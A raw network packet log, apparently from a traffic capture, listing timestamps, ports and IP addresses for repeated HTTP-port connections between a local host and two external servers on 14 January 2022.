Jan 14, 2022 04:59:57.549653053 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549655914 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549676895 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549685955 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549704075 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549745083 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549778938 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549837112 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549885035 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549948931 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549966097 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549968004 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549983025 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550020933 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.550021887 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550056934 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550098896 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.550127029 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550146103 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550255060 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.550278902 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550353050 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.550354958 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550373077 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550393105 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550421953 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.550483942 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.550560951 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.550589085 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.572545052 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.589493036 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.589509010 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.589637995 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.593453884 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604496002 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604513884 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604530096 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604545116 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604559898 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604574919 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604590893 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604603052 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604608059 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604624033 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604631901 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604638100 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604640007 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604643106 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604655981 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604671955 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604676962 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604687929 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604703903 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604706049 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604722023 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604738951 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604749918 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604756117 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604768991 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604773045 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604789972 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604805946 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604805946 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604821920 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604837894 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604841948 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604855061 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604870081 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604885101 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604886055 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604902029 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604903936 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604917049 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604935884 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604937077 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604950905 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604973078 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.604975939 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.604990005 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605005980 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605009079 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605024099 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605036020 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605041981 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605057955 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605076075 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605082035 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605093002 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605109930 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605112076 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605125904 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605156898 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605159998 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605171919 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605178118 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605186939 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605204105 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605218887 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605221987 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605236053 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605252028 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605252981 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605269909 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605285883 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605288982 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605304003 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605315924 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.605320930 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605343103 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.605354071 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.607770920 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.628985882 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629004002 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629019022 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629033089 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629049063 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629096031 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629112005 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629127979 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629154921 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629170895 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629175901 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629185915 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629204035 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629205942 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629211903 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629216909 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629221916 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629239082 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629256010 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629270077 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629271984 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629287004 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629287958 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629304886 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629321098 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629321098 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629349947 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629354954 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629370928 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629385948 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629405022 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629405022 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629420996 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629437923 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629441023 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629453897 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629467964 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629471064 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629487038 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629503965 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629503965 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629520893 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629539013 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629553080 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629554033 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629570961 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629573107 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629585981 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629604101 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629606009 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629620075 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629626036 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629637003 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629653931 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.629673004 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.629724979 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.630029917 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.686405897 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.571476936 CET	49898	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.627038002 CET	80	49898	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.627146006 CET	49898	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.628067017 CET	49898	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.628098011 CET	49898	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.683686018 CET	80	49898	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.713443041 CET	80	49898	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.713804960 CET	49898	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.713939905 CET	49898	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.765940905 CET	49899	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.769407988 CET	80	49898	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.821619987 CET	80	49899	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.821711063 CET	49899	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.821819067 CET	49899	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.823328972 CET	49899	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.877625942 CET	80	49899	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.879336119 CET	80	49899	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.906896114 CET	80	49899	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.906969070 CET	49899	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.907151937 CET	49899	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:58.962950945 CET	80	49899	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:58.987539053 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.062297106 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062354088 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062393904 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062448025 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062486887 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062525988 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062536955 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.062562943 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062568903 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.062577009 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.062602997 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062640905 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062676907 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.062730074 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.064528942 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.136861086 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.136936903 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.136975050 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137012959 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137047052 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137052059 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137074947 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137090921 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137130022 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137167931 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137192011 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137206078 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137218952 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137245893 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137270927 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137290955 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137291908 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137330055 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137367964 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137381077 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137404919 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137442112 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137480021 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137492895 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137515068 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.137518883 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137558937 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.137607098 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.138612986 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.138655901 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.139735937 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.211750031 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.211800098 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.211834908 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.211867094 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.211914062 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.211966038 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212008953 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212032080 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.212047100 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212064028 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.212069988 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.212088108 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212090015 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.212129116 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212167978 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212183952 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.212209940 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212249041 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:59.212264061 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.246352911 CET	49901	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.267560005 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:59.303062916 CET	80	49901	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.305354118 CET	49901	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.305461884 CET	49901	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.305475950 CET	49901	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.361759901 CET	80	49901	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.407845974 CET	80	49901	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.407953024 CET	49901	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.408157110 CET	49901	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.464610100 CET	80	49901	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.481226921 CET	49902	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.537619114 CET	80	49902	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.538441896 CET	49902	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.538599968 CET	49902	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.538654089 CET	49902	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.595103025 CET	80	49902	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.624722004 CET	80	49902	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.624875069 CET	49902	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.625009060 CET	49902	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.660439014 CET	49903	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.681274891 CET	80	49902	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.716645956 CET	80	49903	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.716779947 CET	49903	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.716902018 CET	49903	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.716916084 CET	49903	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.773585081 CET	80	49903	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.802519083 CET	80	49903	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.802612066 CET	49903	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.814764023 CET	49903	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.871165037 CET	80	49903	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.881232023 CET	49904	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.937797070 CET	80	49904	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:59.937891006 CET	49904	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.937983990 CET	49904	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.937998056 CET	49904	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:59.994786024 CET	80	49904	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.020616055 CET	80	49904	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.020701885 CET	49904	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.020898104 CET	49904	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.047485113 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.077430010 CET	80	49904	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.104302883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.104433060 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.104490042 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.171114922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171169996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171201944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171232939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171274900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171315908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171329021 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.171354055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171363115 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.171370029 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.171397924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171437025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171453953 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.171473980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.171523094 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228183031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228214025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228235960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228259087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228276968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228296995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228318930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228339911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228363037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228365898 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228384972 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228395939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228401899 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228406906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228408098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228429079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228450060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228465080 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228471994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228478909 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.228493929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228516102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228537083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.228540897 CET	49905	80	192.168.2.3	94.142.143.91
